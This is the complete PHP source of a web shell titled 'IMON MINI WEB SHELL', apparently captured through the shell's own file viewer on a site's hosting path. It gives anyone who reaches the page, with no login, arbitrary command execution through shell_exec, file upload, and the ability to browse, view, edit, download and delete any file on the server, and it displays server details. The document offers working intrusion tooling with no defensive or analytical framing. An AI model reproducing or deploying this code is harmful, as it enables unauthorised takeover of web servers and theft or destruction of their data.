📖 Viewing File: /home/boiitech111/eximiasynergy.org/final.php

<?php
error_reporting(0);
session_start();

// === Set Home Directory ===
if (!isset($_SESSION['home'])) {
    $_SESSION['home'] = getcwd(); // প্রথম লোডের সময় root/home dir সেট করবে
}

// === Current Directory Management ===
if (isset($_GET['dir'])) {
    $path = urldecode($_GET['dir']); 
    if (is_dir($path)) {
        $cwd = $path;
    }
} else {
    $cwd = getcwd();
}
chdir($cwd);

// === Command Execution ===
if (isset($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    $output = shell_exec($cmd." 2>&1");
}

// === File Upload ===
if (isset($_FILES['file'])) {
    $target = $cwd . "/" . basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        $msg = "✅ Uploaded!";
    } else {
        $msg = "❌ Upload Failed!";
    }
}

// === File Delete ===
if (isset($_GET['del'])) {
    $file = urldecode($_GET['del']);
    if (file_exists($file)) unlink($file);
}

// === File View ===
if (isset($_GET['view'])) {
    $file = urldecode($_GET['view']);
    echo "<h3>📖 Viewing File: ".htmlspecialchars($file)."</h3>";
    echo "<pre style='background:#111;color:#0f0;padding:10px;white-space:pre-wrap;'>".
         htmlspecialchars(file_get_contents($file)).
         "</pre>";
    echo "<a href='?dir=".rawurlencode(dirname($file))."' style='color:cyan'>⬅ Back</a>";
    exit;
}

// === File Edit ===
if (isset($_GET['edit'])) {
    $file = urldecode($_GET['edit']);
    if (is_file($file)) {
        if (isset($_POST['savefile'])) {
            file_put_contents($file, $_POST['content']);
            echo "<b>✅ File Saved!</b><br>";
        }
        $content = htmlspecialchars(file_get_contents($file));
        echo "<h3>✏️ Editing File: ".htmlspecialchars($file)."</h3>";
        echo "<form method='post'>
              <textarea name='content' style='width:95%;height:400px;background:#000;color:#0f0;'>$content</textarea><br>
              <button type='submit' name='savefile'>Save</button>
              </form>";
        echo "<a href='?dir=".rawurlencode(dirname($file))."' style='color:cyan'>⬅ Back</a>";
        exit;
    }
}

// === File Download ===
if (isset($_GET['download'])) {
    $file = urldecode($_GET['download']);
    if (is_file($file)) {
        header("Content-Disposition: attachment; filename=".basename($file));
        readfile($file);
        exit;
    }
}

// === Server Info ===
$serverInfo = [
    "OS" => php_uname(),
    "PHP Version" => phpversion(),
    "Current Dir" => $cwd
];
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>IMON MINI WEB SHELL (Responsive + Home)</title>
<style>
body {background:#000;color:#0f0;font-family:monospace;margin:0;padding:0;}
h2 {background:#111;color:#0f0;padding:10px;text-align:center;}
.container {width:95%;margin:auto;}
.box {background:#111;padding:10px;margin:10px 0;border:1px solid #0f0;border-radius:5px;overflow-x:auto;}
input,button,textarea {background:#000;color:#0f0;border:1px solid #0f0;padding:8px;font-size:14px;width:100%;max-width:500px;}
table {width:100%;border-collapse:collapse;min-width:600px;}
td,th {border:1px solid #0f0;padding:5px;}
a {color:#0ff;text-decoration:none;}
a:hover {color:yellow;}
pre {background:#111;color:#0f0;padding:10px;overflow:auto;}
@media (max-width:600px) {
    table {font-size:12px;}
    td,th {padding:3px;}
}
</style>
</head>
<body>
<h2>IMON MINI WEB SHELL </h2>
<div class="container">

<div class="box">
<h3>🔹 Server Info</h3>
<?php foreach($serverInfo as $k=>$v) echo "<b>$k:</b> ".htmlspecialchars($v)."<br>"; ?>
</div>

<div class="box">
<h3>🔹 Run Command</h3>
<form method="post">
<input type="text" name="cmd" placeholder="Enter command">
<button type="submit">Run</button>
</form>
<?php if (!empty($output)) echo "<pre>$output</pre>"; ?>
</div>

<div class="box">
<h3>🔹 Upload File</h3>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">Upload</button>
</form>
<?php if (!empty($msg)) echo "<b>$msg</b>"; ?>
</div>

<div class="box">
<h3>🔹 File Manager (<?php echo htmlspecialchars($cwd); ?>)</h3>

<!-- 🔹 Breadcrumb Navigation -->
<div style="margin:10px 0;overflow-x:auto;white-space:nowrap;">
<?php
$parts = explode("/", trim($cwd,"/"));
$buildPath = "";
echo "<a href='?dir=/'>/</a>"; // root
foreach ($parts as $p) {
    if ($p == "") continue;
    $buildPath .= "/".$p;
    echo " / <a href='?dir=".rawurlencode($buildPath)."'>".htmlspecialchars($p)."</a>";
}
?>
</div>

<!-- Home + Back Buttons -->
<a href="?dir=<?php echo rawurlencode($_SESSION['home']); ?>">🏠 Home</a> | 
<a href="?dir=<?php echo rawurlencode(dirname($cwd)); ?>">⬅ Back</a>

<table>
<tr><th>Name</th><th>Size</th><th>Action</th></tr>
<?php
foreach(scandir($cwd) as $f) {
    if ($f=="."||$f=="..") continue;
    $path = $cwd."/".$f;
    if (is_dir($path)) {
        echo "<tr>
        <td><a href='?dir=".rawurlencode($path)."'>📂 ".htmlspecialchars($f)."</a></td>
        <td>[DIR]</td>
        <td><a href='?del=".rawurlencode($path)."' onclick='return confirm(\"Delete?\")'>Delete</a></td>
        </tr>";
    } else {
        echo "<tr>
        <td>".htmlspecialchars($f)."</td>
        <td>".filesize($path)." bytes</td>
        <td>
            <a href='?view=".rawurlencode($path)."'>View</a> | 
            <a href='?edit=".rawurlencode($path)."'>Edit</a> | 
            <a href='?download=".rawurlencode($path)."'>Download</a> | 
            <a href='?del=".rawurlencode($path)."' onclick='return confirm(\"Delete?\")'>Delete</a>
        </td>
        </tr>";
    }
}
?>
</table>
</div>

</div>
</body>
</html>

</div>
</body>
</html>
⬅ Back